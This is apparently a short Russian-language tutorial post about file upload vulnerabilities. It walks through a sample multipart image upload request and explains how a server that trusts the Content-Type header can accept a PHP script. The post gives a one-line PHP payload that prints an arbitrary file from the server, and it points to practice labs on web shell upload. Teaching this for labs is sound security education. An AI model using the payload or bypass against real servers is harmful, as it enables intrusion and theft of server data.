Загрузка файлов... Вроде как здорово, но есть нюанс. Через них можно запустить скрипты и скомуниздить информацию с сервера. Заинтриговал? Давайте разбираться.
❓ Что? Где? Когда?
Данная уязвимость возникает в случаях, когда веб-сервер позволяет загрузить файл без валидации имени, типа, содержания или размера.
Если говорить проще: мы пытаемся найти такое расширение файла, которое сервер пропускает, а сам файл может помочь нам получить информацию или запустить скрипт.
Вот туть можно найти кучу примеров разных расширений, которые можно
✍️ Пример
Давайте разберемся на примере. На сервере есть ендпоинт
/images, который позволяет загрузить картинку на сервер. Запрос может выглядеть вот так:
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="my_nudes.jpg"
Content-Type: image/jpeg
[...my_nudes.jpg...]
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"
Can't touch this
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"
cu63
---------------------------012345678901234567890123456--
Тело запроса разделено на части. У каждой есть заголовок
Content-Disposition, который содержит информацию о передаваемых данных. Каждая часть так-же может содержать собственное поле Content-Type, описывающее MIME переданных данных.При валидации сервер может ожидать только конкретные значения поля
Content-Type. Например, при работе только с картинками ожидаемо получить image/jpeg и image/png. Проблемы могут возникнуть, если сервер неявно доверяет значению этого заголовка. Если дальше нет проверки на то, что данные действительно относятся к указанному типу, то мы можем загрузить что угодно, например php-скрпит, который отобразит нужный нам файл:
<?php echo file_get_contents('/path/to/target/file'); ?>
📌Можете пощупать эту уязвимость в данных лабах:
✏️ Remote code execution via web shell upload
✏️ Web shell upload via Content-Type restriction bypass
✏️ Web shell upload via path traversal
➥ ☕️ тг • 🤬чатик • ✍️посты
#web #writeup